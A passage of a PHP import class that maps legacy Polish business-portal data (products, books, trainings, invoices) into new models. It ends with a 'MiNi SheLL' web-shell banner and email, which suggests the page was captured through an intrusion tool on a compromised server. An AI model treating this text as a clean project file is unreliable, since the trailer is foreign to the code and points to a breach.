        $modelPresentationTab->status = !empty($presentationTab['status']) ? Status::ACTIVE : Status::INACTIVE;
        
        return $modelPresentationTab;
    }
    
    private function createModelCompaniesPresentationsPages($idCompanyTab, $lead = null, $content = null, $idUser = null, $idCompany = null)
    {
        //@todo przetestować czy prawidłowo zamienia ścieżki do obrazków wewnątrz treści
        if(!empty($content) && !empty($idUser) && !empty($idCompany)) {
            //@todo sprawdzić, czy ścieżki zaczynają się od http czy od razu od /img/users
//            $content = preg_replace('#src="http(s)?:\/\/[a-z\.\-]{8,}\/img\/users\/'.$idUser.'\/#i', 'src="'.Yii::getAlias('@companiesImagesUrl').'/'.$idCompany.'/'.Yii::getAlias('@companiesContentsImagesDirName').'/', $content);
            //@todo wygląda na to, że występują obie sytuacje
            $content = preg_replace('#src="\/img\/users\/'.$idUser.'\/#i', 'src="'.Yii::getAlias('@sourcesUrl').'/'.Yii::getAlias('@companiesContentsImagesDirName').'/'.$idCompany.'/', $content);
            $content = preg_replace('#src="http(s)?:\/\/[a-z\.\-]{8,}\/img\/users\/'.$idUser.'\/#i', 'src="'.Yii::getAlias('@sourcesUrl').'/'.Yii::getAlias('@companiesContentsImagesDirName').'/'.$idCompany.'/', $content);
        } else {
            $content = 'Uzupełnij';
        }
        
        $modelPresentationPage = new CompaniesPresentationsPages(['scenario' => 'create']);
        $modelPresentationPage->id_company_tab = $idCompanyTab;
        $modelPresentationPage->lead = !empty($lead) ? $lead : 'Uzupełnij'; ;
        $modelPresentationPage->content = $content;
        
        return $modelPresentationPage;
    }
    
    private function createModelCompaniesAwards($data, $idCompany)
    {
        $model = new CompaniesAwards(['scenario' => 'create']);
        $model->id_company = $idCompany;
        $model->title = !empty($data['tytul']) ? $data['tytul'] : $this->awardsTypesMap[intval($data['ref_id'])];
        $model->lead = trim(strip_tags($data['zajawka']));
        if(empty($model->lead)) {
            //@todo po usunięciu ograniczenia NOT NULL nie trzeba robić takich protez
//            $lead = trim(\yii\helpers\StringHelper::truncate(strip_tags($data['tresc']), 400));
//            $model->lead = !empty($lead) ? $lead : $model->title;
        }        
//        $model->content = !empty($data['tresc']) ? $data['tresc'] : 'Uzupełnij';
        
        if(!empty($data['tresc'])) {
            $content = preg_replace('#src="\/img\/users\/'.$data['id_user'].'\/#i', 'src="'.Yii::getAlias('@sourcesUrl').'/'.Yii::getAlias('@companiesContentsImagesDirName').'/'.$idCompany.'/', $data['tresc']);
            $content = preg_replace('#src="http(s)?:\/\/[a-z\.\-]{8,}\/img\/users\/'.$data['id_user'].'\/#i', 'src="'.Yii::getAlias('@sourcesUrl').'/'.Yii::getAlias('@companiesContentsImagesDirName').'/'.$idCompany.'/', $content);            
            $model->content = $content;
        } else {
            $model->content = null;
        }        
        
        $model->publication_date = $data['data_publikacji'] !== '0000-00-00' ? $data['data_publikacji'] : '1970-01-01';
        if(!empty($data['url'])) {
            $url = trim($data['url']);
            if(mb_substr($url, 0, 7) !== 'http://' && mb_substr($url, 0, 8) !== 'https://' && mb_substr($url, 0, 6) !== 'ftp://') {
                if(($pos = mb_strpos($url, 'www.')) !== false) {
                    $url = 'http://'.mb_substr($url, $pos);
                } else {
                    $url = 'http://'.$url;
                }                
            }
            $model->url = $url;        
        } else {
            $model->url = null;        
        }
        
        if(!empty($data['img_1']) && file_exists(Yii::getAlias('@runtime').'/sources/companies_awards/'.$data['img_1'])) {            
            $fileInfo = pathinfo(Yii::getAlias('@runtime').'/sources/companies_awards/'.$data['img_1']);            
            $model->image_filename = CompaniesAwards::createFileName('award', $fileInfo['extension']);
        } else {
            $fileInfo = pathinfo(Yii::getAlias('@runtime').'/sources/companies_awards/default.png'); //@todo można rozważyć inne pliki domyślne dla różnych typów
            $model->image_filename = CompaniesAwards::createFileName('award', $fileInfo['extension']);
        }
        $model->award_type = $this->awardsTypesMap[intval($data['ref_id'])];
        $model->status = intval($data['status']) === 1 ? Status::ACTIVE : Status::INACTIVE;
                
        return $model;
    }
    
    private function createModelCompaniesDownloads($data, $idCompany)
    {
        $model = new CompaniesDownloads(['scenario' => 'create']);
        $model->id_company = $idCompany;
        $model->title = !empty($data['tytul']) ? $data['tytul'] : 'Do pobrania';
        $model->lead = !empty($data['zajawka']) ? $data['zajawka'] : null;
        $model->description = !empty($data['tresc']) ? $data['tresc'] : null;
        $model->publication_date = strtotime($data['data_publikacji']) !== false ? $data['data_publikacji'] : date('Y-m-d', strtotime($data['cd']));
        if(!empty($data['url'])) {
            $url = trim($data['url']);            
            if(mb_substr($url, 0, 7) !== 'http://' && mb_substr($url, 0, 8) !== 'https://' && mb_substr($url, 0, 6) !== 'ftp://') {
                if(($pos = mb_strpos($url, 'www.')) !== false) {
                    $url = 'http://'.mb_substr($url, $pos);
                } else {
                    $url = 'http://'.$url;
                }                
            }            
            $model->url = $url;        
        } else {
            $model->url = 'http://www.google.pl'; //@todo proteza - to trzeba będzie wyszukać    
        }
        
        if(!empty($data['img_1']) && file_exists(Yii::getAlias('@runtime').'/sources/companies_downloads/'.$data['img_1'])) {            
            $fileInfo = pathinfo(Yii::getAlias('@runtime').'/sources/companies_downloads/'.$data['img_1']);            
            $model->image_filename = CompaniesDownloads::createFileName('download', $fileInfo['extension']);
        } else {
            $model->image_filename = null;
        }
        $model->category = $this->downloadsCategoriesMap[intval($data['down_id'])];
        $model->status = intval($data['status']) === 1 ? Status::ACTIVE : Status::INACTIVE;
                
        return $model;
    }
    
    private function createModelCompaniesVideogalleries($data, $idCompany)
    {
        $model = new CompaniesVideogalleries(['scenario' => 'create']);
        $model->id_company = $idCompany;
        $model->title = !empty($data['nazwa']) ? $data['nazwa'] : null;
        $model->description = null;
        $model->gallery_date = date('Y-m-d', strtotime($data['cd']));
                
        return $model;
    }
    
    private function createModelCompaniesVideogalleriesVideos($data, $idGallery) 
    {
        $model = new CompaniesVideogalleriesVideos(['scenario' => 'create']);
        $model->id_gallery = $idGallery;
        $model->external_id = $data['nazwa'];
        $model->title = !empty($data['tytul']) ? $data['tytul'] : 'Wideo';
        //@todo dodać do modelu CompaniesVideogalleriesVideos kolumnę "description" - temat do rozważenia, bo w 99% przypadków pole tytul oraz opis zawierają ten sam tekst
        $model->video_order = $data['kolejnosc'];
                
        return $model;
    }
    
    private function createModelCompaniesPhotogalleries($data, $idCompany)
    {
        $model = new CompaniesPhotogalleries(['scenario' => 'create']);
        $model->id_company = $idCompany;
        $model->title = !empty($data['nazwa']) ? $data['nazwa'] : null;
        $model->description = null;
        $model->gallery_date = date('Y-m-d', strtotime($data['cd']));
                
        return $model;
    }
    
    private function createModelCompaniesPhotogalleriesPhotos($data, $idGallery) 
    {
        $model = new CompaniesPhotogalleriesPhotos(['scenario' => 'create']);
        
        $sourceFilename = Yii::getAlias('@runtime').'/sources/companies_photogalleries/'.$data['id_user'].'/'.$data['id_galeria'].'/zdjecie-'.$data['id'].'.'.$data['nazwa'];
        if(file_exists($sourceFilename)) {            
            $fileInfo = pathinfo($sourceFilename);            
            $model->filename = CompaniesPhotogalleriesPhotos::createFileName('photo', $fileInfo['extension']);            
        }      
        $model->id_gallery = $idGallery;
        $model->title = !empty($data['opis']) ? $data['opis'] : null;
        $model->photo_order = $data['kolejnosc'];
        
        return $model;
    }
    
    private function createModelProducts($data, $idCompany)
    {
        $model = new Products(['scenario' => 'create']);
        $model->id_company = $idCompany;
        $model->name = strip_tags($data['nazwa']);        
        $model->lead = \yii\helpers\StringHelper::truncate(trim(strip_tags($data['opis'])), 300);
        if(empty($model->lead)) {
            $model->lead = $model->name;
        }
        $model->description = preg_replace('#src="\/img\/users\/'.$data['id_user'].'\/#i', 'src="'.Yii::getAlias('@sourcesUrl').'/'.Yii::getAlias('@companiesContentsImagesDirName').'/'.$idCompany.'/', $data['opis']);
        $model->description_plaintext = strip_tags($data['opis']);
        if(!empty($data['foto1']) && file_exists(Yii::getAlias('@runtime').'/sources/products/'.$data['foto1'])) {            
            $fileInfo = pathinfo(Yii::getAlias('@runtime').'/sources/products/'.$data['foto1']);            
            $model->image_filename = Products::createImageFileName('photo', $fileInfo['extension']);
        } else {
            $model->image_filename = null;
        }
        $model->status = intval($data['status']) === 1 ? 'aktywny' : 'nieaktywny';        
        $params = [];        
        if(!empty($data['model'])) {
            $params[] = ['name' => 'model', 'value' => $data['model']];
        }
        if(!empty($data['cena'])) {
            $params[] = ['name' => 'cena', 'value' => $data['cena']];
        }        
//        $model->params = json_encode($params);
        $model->params = $params; //#JSON-hack#
        $model->views_number = !empty($data['viewsNumber']) ? intval($data['viewsNumber']) : 0;
        
        return $model;
    }
    
    private function createModelsProductsAttachments($data, $idProduct)
    {
        $counter = 1;
        $models = [];
        for($i = 1; $i < 4; $i++) {
            if(empty($data['plik'.$i.'_url'])) {
                continue;
            }
            
            $url = $data['plik'.$i.'_url'];
            if(mb_substr($url, 0, 7) !== 'http://' && mb_substr($url, 0, 8) !== 'https://' && mb_substr($url, 0, 6) !== 'ftp://') {
                if(($pos = mb_strpos($url, 'www.')) !== false) {
                    $url = 'http://'.mb_substr($url, $pos);
                } else {
                    $url = 'http://'.$url;
                }                
            }
            
            $name = !empty($data['plik'.$i]) ? $data['plik'.$i] : 'Załącznik nr '.$counter;
            
            $model = new ProductsAttachments(['scenario' => 'create']);
            $model->id_product = $idProduct;
            $model->name = $name;
            $model->url = $url;
            $model->attachment_order = $counter;
            
            $models[] = $model;
            
            $counter++;
        }
        
        return $models;
    }
    
    private function createModelsProductsTags($data)
    {
        $models = [];
        
        $keywordsTemp = explode(",", $data['klucze']);
        
        if(empty($keywordsTemp)) {
            return $models;
        }
        
        $keywords = [];
        foreach($keywordsTemp as $key => $keyword) {
            $keyword = trim($keyword);
            $keyword = mb_substr($keyword, 0, 60);
            if(!empty($keyword)) {
                $keywords[$keyword] = $keyword;
            }            
        }
        unset($keywordsTemp);
        
        $modelsProductsTags = ProductsTags::find()->where(['name' => $keywords])->indexBy('name')->all();
        
        foreach($keywords as $keyword) {            
            if(isset($modelsProductsTags[$keyword])) {
                $model = $modelsProductsTags[$keyword];
                $model->quantity += 1;
            } else {
                $model = new ProductsTags(['scenario' => 'create']);
                $model->name = $keyword;
                $model->quantity = 1;
            }
            
            $models[] = $model;
        }
        
        return $models;
    }
    
    private function createModelPublishingHouses($company)
    {
        $model = new PublishingHouses(['scenario' => 'create']);
        $model->name = $company['nazwa'];
        $model->description = !empty($company['opis_wyszukiwarka']) ? $company['opis_wyszukiwarka'] : $company['nazwa'];
        if(!empty($company['www'])) {
            $url = trim($company['www']);
            if(mb_substr($url, 0, 7) !== 'http://' && mb_substr($url, 0, 8) !== 'https://' && mb_substr($url, 0, 6) !== 'ftp://') {
                if(($pos = mb_strpos($url, 'www.')) !== false) {
                    $url = 'http://'.mb_substr($url, $pos);
                } else {
                    $url = 'http://'.$url;
                }                
            }
            $model->url = $url;        
        } else {
            $model->url = null;        
        }
        $model->status = Status::ACTIVE;
        
        if(!empty($company['logo']) && file_exists(Yii::getAlias('@runtime').'/sources/companies/'.$company['logo'])) {
            $fileInfo = pathinfo(Yii::getAlias('@runtime').'/sources/companies/'.$company['logo']);            
            $model->logo_filename = PublishingHouses::createFileName($fileInfo['filename'], $fileInfo['extension']);
        } else {
            $model->logo_filename = null;
        }

        return $model;
    }
    
    private function createModelBooks($data, $idCompany, $idPublishingHouse)
    {
        $model = new Books(['scenario' => 'create']);
        $model->id_company = $idCompany;
        $model->id_publishing_house = $idPublishingHouse;
        $model->book_type = $this->booksTypeMap[intval($data['typ'])];
        $model->isbn = !empty($data['issn']) ? $data['issn'] : null;        
        if(!empty($data['img_1'])) {
            $path = Yii::getAlias('@runtime').'/sources/books/'.$data['img_1'];
            if(file_exists($path)) {
                $fileInfo = pathinfo($path); 
                $model->image_filename = Books::createImageFileName($fileInfo['filename'], $fileInfo['extension']);
            }
        } else {
            $model->image_filename = null;
        }
        $model->title = $data['tytul'];
        $model->author = !empty($data['nazwa_firmy']) ? $data['nazwa_firmy'] : 'brak informacji';
        $model->lead = $data['zajawka'];
        if(!empty($data['tresc'])) {
            $model->description = $data['tresc'];
        } elseif(!empty($data['zajawka'])) {
            $model->description = $data['zajawka'];
        } else {
            $model->description = 'brak informacji';
        }
        $model->table_of_contents = 'brak'; //@todo co tutaj wpisać ?
        $model->release_date = '2000-01-01'; //@todo co tutaj wpisać ?
        $model->release_date_paper_version = '2000-01-01'; //@todo co tutaj wpisać ?
//        echo 'CENA: '.$data['cena'];
        if(!empty($data['cena'])) { //@todo ceny są podane tekstem, raz z kosztem wysyłki, raz bez; trudno to wyciągnąć
            $matches = [];
            $flag = preg_match('/([0-9]{1,}[,\.]{0,1}[0-9]{0,2})/', $data['cena'], $matches);
            if($flag === 1) {
                $price = str_replace(',', '.', $matches[0]);
                $price = str_replace(' ', '', $price);
                $price = number_format($price, 2, ".", "");
            } else {
                $price = '0.00';
            }
        } else {
            $price = '0.00'; //@todo niektóre publikacje nie mają w ogóle podanej ceny...
        }        
//        echo '  -  '.$price."\n";
        $model->price = $price;
        $model->price_paper_version = $price;
        $model->release_cycle = !empty($data['itech']) ? mb_substr($data['itech'], 0, 255) : null;
        if(!empty($data['liczba_stron'])) {
            $matches = [];
            $flag = preg_match('/([0-9]+)/', $data['liczba_stron'], $matches);        
            if($flag === 1) {
                $model->number_of_pages = str_replace(',', '.', $matches[0]);
                $model->number_of_pages = str_replace(' ', '', $model->number_of_pages);
            } else {
                $model->number_of_pages = 1;
            }
        } else {
            $model->number_of_pages = 1;
        }
        $model->status = intval($data['status']) === 1 ? BookStatus::AVAILABLE : BookStatus::UNAVAILABLE; //@todo czy na pewno ustawiać dla statusu 0 status jako "niedostępny" ? 
        $model->or_paper_version = 1;
        $model->or_electronic_version = 0;
        $model->or_color_paper_version = 1; //@todo co tutaj wpisać ?
        $model->or_color_electronic_version = 0; 
        $model->or_hardcover = 0; //@todo co tutaj wpisać ?
        $model->or_chalk_paper = 0; //@todo co tutaj wpisać ?
        
        return $model;
    }
    
    private function createModelCompaniesCases($data, $idCompany)
    {        
        $model = new CompaniesCases(['scenario' => 'create']);
        $model->id_company = $idCompany;
        $model->id_user = $data['id_operator'];
        $model->subject = $data['temat'];
        
        if(intval($data['status']) === 0) {
            $model->status = CompanyCaseStatus::OPEN;
        } elseif(intval($data['status']) === 1) {
            $model->status = CompanyCaseStatus::CLOSED;
        } elseif(intval($data['status']) === 2) { //firma zamknięta
            $model->status = CompanyCaseStatus::CLOSED;
        } elseif(intval($data['status']) === 3) { //firma przenoszona do poczekalni
            $model->status = CompanyCaseStatus::OPEN;
        }
        
        $time = strtotime($data['cd']);
        if((bool)$time) {
            $model->created_at = date('Y-m-d H:i:s', $time);
            $model->updated_at = date('Y-m-d H:i:s', $time);
        } else {
            $model->created_at = '1970-01-01 00:00:00';
            $model->updated_at = '1970-01-01 00:00:00';
        }
        
        return $model;
    }
    
    private function createModelsCompaniesCasesEntries($data, $idCase)
    {
        $models = [];
        
        if(empty($data)) {
            return $models;
        }
        
        foreach($data as $row) {
            $model = new CompaniesCasesEntries(['scenario' => 'create']);
            $model->id_case = $idCase;
            $model->id_user = $row['id_operator'];
            $model->content = str_replace('<br>', "\n\r", $row['uwagi']);
            
            $timeTerm = strtotime($row['termin']);
            if((bool)$timeTerm) {
                $model->contact_term = date('Y-m-d H:i', $timeTerm);
            } else {
                $model->contact_term = '1970-01-01 00:00';
            }
            
            $timeCreated = strtotime($row['cd']);
            if((bool)$timeCreated) {
                $model->created_at = date('Y-m-d H:i:s', $timeCreated);
                $model->updated_at = date('Y-m-d H:i:s', $timeCreated);
            } else {
                $model->created_at = '1970-01-01 00:00:00';
                $model->updated_at = '1970-01-01 00:00:00';
            }
            
            switch(intval($row['priorytet'])) {
                case 0:
                    $model->priority = CompanyCasePriority::NORMAL;
                    break;
                case 1:
                    $model->priority = CompanyCasePriority::HIGH;
                    break;
                case 2:
                    $model->priority = CompanyCasePriority::PUNCTUAL;
                    break;
                default:
                    $model->priority = CompanyCasePriority::NORMAL;
                    break;
            }
            
            $models[] = $model;
        }
        
        return $models;
    }
    
    private function createModelTraings($data, $idCompany)
    {
        $modelTraining = new Trainings(['scenario' => 'create']);
        $modelTraining->id_company = $idCompany; 
        $modelTraining->name = $data['temat'];
        if(intval($data['typ']) === 5) {
            $modelTraining->training_type = TrainingType::CLOSED;
        } else {
            $modelTraining->training_type = TrainingType::OPEN;
        }                       

        $price = null;
        $matches = [];
        $flag = preg_match('/([0-9]{1,}[ ]{0,1}[0-9]{1,}[ ]{0,1}[0-9]{1,})(\.|,){0,1}([0-9]{0,2})/', $data['cena'], $matches);        
        if($flag === 1) {
            $price = str_replace(',', '.', $matches[0]);
            $price = str_replace(' ', '', $price);
        } 
        
        if($price === null) {
            if(!empty($data['cena'])) {
                $price = $data['cena'];
            } else {
                $price = 'brak informacji';
            }
        }
        $modelTraining->price = $price; //nie zawsze da się uzyskać informację o cenie
        $modelTraining->price_description = (!empty($data['cena'])) ? $data['cena'] : null; 
        $modelTraining->content_target = (!empty($data['cel_szkolenia'])) ? $data['cel_szkolenia'] : null;
        $modelTraining->content_leader = (!empty($data['prowadzacy'])) ? $data['prowadzacy'] : null;
        $modelTraining->content_program = (!empty($data['program'])) ? $data['program'] : null;
        $modelTraining->content_details = (!empty($data['uwagi'])) ? $data['uwagi'] : null;
        $modelTraining->content_all = (!empty($data['szkolenie'])) ? $data['szkolenie'] : null;
        $modelTraining->status = (intval($data['status']) === 1) ? Status::ACTIVE : Status::INACTIVE; 
        
        return $modelTraining;
    }
    
    private function createModelTraingsDates($data, $idTraining)
    {
        $timeStart = strtotime($data['termin_start']);
        $timeEnd = strtotime($data['termin_end']);
        
        $modelTrainingDate = new TrainingsDates(['scenario' => 'create']);
        $modelTrainingDate->id_training = $idTraining;
        $modelTrainingDate->date_start = ((bool)$timeStart) ? date('Y-m-d', $timeStart) : '1970-01-01';
        $modelTrainingDate->date_end = ((bool)$timeEnd) ? date('Y-m-d', $timeEnd) : '1970-01-01';
        $modelTrainingDate->locality = !empty($data['miejscowosc']) ? $data['miejscowosc'] : '(nie podano)'; //@todo w bazie vmanagera wymagamy podania miejscowości, ale wśród danych z vortali nie zawsze ona występuje - takie coś jak "nie podano" może być?
        $modelTrainingDate->postcode = null;
        $modelTrainingDate->street = null;
        $modelTrainingDate->building_number = null;
        $modelTrainingDate->apartment_number = null;
        $modelTrainingDate->id_country = 'PL'; //w bazie vortali nie mamy takiej informacji, więc zakładam, że wszystkie szkolenia dotyczą Polski
        $modelTrainingDate->id_region = null;
        $modelTrainingDate->address_description = null;  
                
        //@todo ustalić co z tym robimy - określamy współrzędne od razu, czy potem osobnym skryptem ?
        $modelTrainingDate->lat = 52.0693232;
        $modelTrainingDate->lng = 19.4715572;
        
        return $modelTrainingDate;
    }
    
    protected function createModelInvoices($data, $idCompany)
    {
        $model = new Invoices(['scenario' => 'createFull']);

        if(!empty($data['info_handlowiec'])) {
            $data['info_handlowiec'] = strip_tags($data['info_handlowiec']);
        }
        if(!empty($data['info_redaktor'])) {
            $data['info_redaktor'] = strip_tags($data['info_redaktor']);
        }
        
        $model->id_company = $idCompany;
        //jeśli w polu id_user oraz numer_faktury jest ta sama wartość, to jest to faktura proforma - wtedy numer_faktury trafia do pola proforma_invoice_number
        if($data['numer_faktury'] != $data['id_user']) {
            $model->invoice_number = $data['numer_faktury'];
            $model->proforma_invoice_number = null; 
        } else {
            $model->invoice_number = null;
            $model->proforma_invoice_number = $data['numer_faktury']; 
        }
        $model->sale_date = $data['data_waznosci_od']; 
        $model->payment_date = $data['data_platnosci']; 
        $model->payment_date_executed = (intval($data['oplacona']) === 1) ? $data['data_platnosci'] : null; //obecnie nie ma osobnych pól, więc data_platnosci jest podmieniana na faktyczną datę wykonania płatności, jeśli zostało opłacone
        $model->duplicate_date = ($data['duplikat_data'] !== '0000-00-00') ? $data['duplikat_data'] : null;
        $model->payment_type = $this->paymentsTypesMap[intval($data['forma_platnosci'])];
        $model->sent_date_paper_version = (intval($data['wyslano']) === 1) ? date('Y-m-d', strtotime($data['wyslano_data'])) : null;
        $model->shipping_number = null; 
        $model->or_electronic_version = intval($data['efaktura']);
        $model->currency = $data['waluta'];
        $model->invoice_type = $this->invoicesTypesMap[$data['faktura_typ']];
        $model->amount_net = $data['kwota_netto'];
        $model->amount_gross = $data['kwota_brutto'];
        $model->receipt_amount_value = !empty($data['kwota_wplywu']) ? $data['kwota_wplywu'] : null; //@todo te dane pochodzą z tabeli faktury_wplywy, a tam kilka rekordów może dotyczyć jednej faktury - skąd mam wiedzieć, z którego rekordu wyciągnąć te dane ?
        $model->receipt_amount_date = !empty($data['data_zaksiegowania']) ? $data['data_zaksiegowania'] : null; //@todo te dane pochodzą z tabeli faktury_wplywy, a tam kilka rekordów może dotyczyć jednej faktury - skąd mam wiedzieć, z którego rekordu wyciągnąć te dane ?
        
        $model->purchaser_name = $data['nazwa'];  
        
        if(in_array(mb_strtolower(mb_substr($data['adres'], 0, 3)), ['al.', 'ul.', 'os.'])) {
            $data['adres'] = trim(mb_substr($data['adres'], 3));
        }
        if(empty($data['adres'])) {
            $data['adres'] = 'BRAK'; //@todo proteza, po której trzeba będzie wyszukać firmy i ręcznie poprawić
        }
        if(empty($data['nr_budynku'])) {
            $matches = [];
            if(!empty($data['adres']) && preg_match('@(.{0,5}[^0-9]*)\s([a-zA-Z]?[0-9]+.*)@', $data['adres'], $matches, 0) === 1) {
                $model->purchaser_street = trim($matches[1]);
                $model->purchaser_building_number = trim($matches[2]);
                $model->purchaser_apartment_number = !empty($data['nr_lokalu']) ? $data['nr_lokalu'] : null;
            } else {
                $model->purchaser_street = trim($data['adres']);
                $model->purchaser_building_number = '000'; //@todo proteza, po której trzeba będzie wyszukać firmy i ręcznie poprawić
                $model->purchaser_apartment_number = null;
            }
        } else {
            $model->purchaser_street = $data['adres'];
            $model->purchaser_building_number = $data['nr_budynku'];
            $model->purchaser_apartment_number = !empty($data['nr_lokalu']) ? $data['nr_lokalu'] : null;
        }
        if(mb_strlen($model->purchaser_building_number) > 15) {
            $model->purchaser_building_number = str_replace(" ", "", $model->purchaser_building_number);
            if(mb_strlen($model->purchaser_building_number) > 15) {
                $model->purchaser_building_number = mb_substr($model->purchaser_building_number, 0, 15);
                if(empty($model->purchaser_apartment_number)) {
                    $model->purchaser_apartment_number = mb_substr($model->purchaser_building_number, 14, 10);
                }
                if(empty($data['adres_cd'])) {
                    $model->purchaser_address_cont = $data['adres'];
                }
            }
        }
        $model->purchaser_address_cont = !empty($data['adres_cd']) ? $data['adres_cd'] : null; 
        if(!empty($data['kod_1']) && !empty($data['kod_2'])) {
            $model->purchaser_postcode = $data['kod_1'].'-'.$data['kod_2'];
        } elseif(!empty($data['kod_swiat'])) {
            $model->purchaser_postcode = $data['kod_swiat'];
        } else {
            $model->purchaser_postcode = '99-999'; //@todo proteza, po której będziemy te firmy wyszukiwać i ręcznie poprawiać
        }
        $model->purchaser_locality = !empty($data['miejscowosc']) ? $data['miejscowosc'] : 'BRAK';
        $model->purchaser_id_country = $this->countriesMap[$data['kraj']];        
        $model->purchaser_tax_id = !empty($data['nip']) ? $data['nip'] : 'BRAK';
        
        //@todo tutaj musimy zrobić protezę - dane firmy zmieniały się dwukrotnie. Trzeba ustalić od którego do którego id_faktura 
        //używać jakich danych. Tymczasowo lecą obecne - do testów
        $timestamp_2015_05_18 = strtotime('2015-05-18');
        $timestamp_2018_01_05 = strtotime('2018-01-05');
        $timestamp_payment = strtotime($data['data_platnosci']);
        
        $model->recipient_name = Yii::$app->params['invoicingData']['name'];
        if($timestamp_payment <= $timestamp_2015_05_18) {
            $model->recipient_street = 'Fordońska';
            $model->recipient_building_number = '393';
            $model->recipient_apartment_number = null;
            $model->recipient_postcode = '85-766';
        } elseif($timestamp_payment <= $timestamp_2018_01_05) {
            $model->recipient_street = 'Przemysłowa';
            $model->recipient_building_number = '8 bud.8';
            $model->recipient_apartment_number = null;
            $model->recipient_postcode = '85-758';
        } else {
            $model->recipient_street = Yii::$app->params['invoicingData']['street'];
            $model->recipient_building_number = Yii::$app->params['invoicingData']['buildingNumber'];
            $model->recipient_apartment_number = Yii::$app->params['invoicingData']['apartmentNumber'];
            $model->recipient_postcode = Yii::$app->params['invoicingData']['postcode'];
        } 
        $model->recipient_locality = Yii::$app->params['invoicingData']['locality'];
        $model->recipient_id_country = Yii::$app->params['invoicingData']['idCountry'];
        $model->recipient_tax_id = Yii::$app->params['invoicingData']['taxId'];
        $model->annotations_for_marketer = !empty($data['info_handlowiec']) ? $data['info_handlowiec'] : null;
        $model->annotations_for_editorship = !empty($data['info_redaktor']) ? $data['info_redaktor'] : null;        
        $model->status = (intval($data['oplacona']) === 1) ? InvoiceStatus::PAID : InvoiceStatus::UNPAID; //@todo nie bardzo wiem, czy powinniśmy tutaj uwzględniać jeszcze status "Błędna kwota", który zwykle oznacza przelew podwójny, a więc fakturę opłaconą...
        
        //@todo na czas importu wyłączyć behaviorsy modelu common\models\Invoices
        $model->created_at = $data['cd'];
        $model->updated_at = $data['cd'];
        
        return $model;
    }
    
    protected function createModelsInvoicesItems($data, $idInvoice, $createdAt)
    {
        $models = [];
        
        if(empty($data)) {
            return $models;
        }
        
        foreach($data as $item) {            
            $model = new InvoicesItems();
            $model->id_invoice = $idInvoice;
            $model->id_service = null;
            $model->name = $item['produkt'];
            $model->quantity = intval($item['ilosc']);
            $model->tax_rate = ($item['porabacie'] > 0) ? round(((floatval($item['brutto']) / floatval($item['porabacie'])) - 1.00) * 100) : 23.00; //istnieją w bazie przedmioty na fakturach, które są ustawione na zero...
            $model->amount_net_before_discount = intval($item['ilosc']) * $item['netto'];
            $model->price_net_pricelist = $item['netto'];
            $model->discount_percent = floatval($item['rabat']);
            $model->amount_net = floatval($item['porabacie']);
            $model->amount_gross = floatval($item['brutto']);
            //@todo na czas importu wyłączyć behaviorsy modelu common\models\InvoicesItems
            $model->created_at = $createdAt;
            $model->updated_at = $createdAt;
            
            $models[] = $model;
        }
        //dane źródłowe:
        //"netto" - cena jednostkowa (czyli w zasadzie z cennika)
        //"porabacie" - cena jednostkowa pomniejszona PROCENTOWO o "rabat" I WYMNOŻONA razy ilosc
        //"rabat" - wartość podana procentowo
        //"brutto" - wartość brutto liczona od kwoty w kolumnie "porabacie"
        
        return $models;
    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com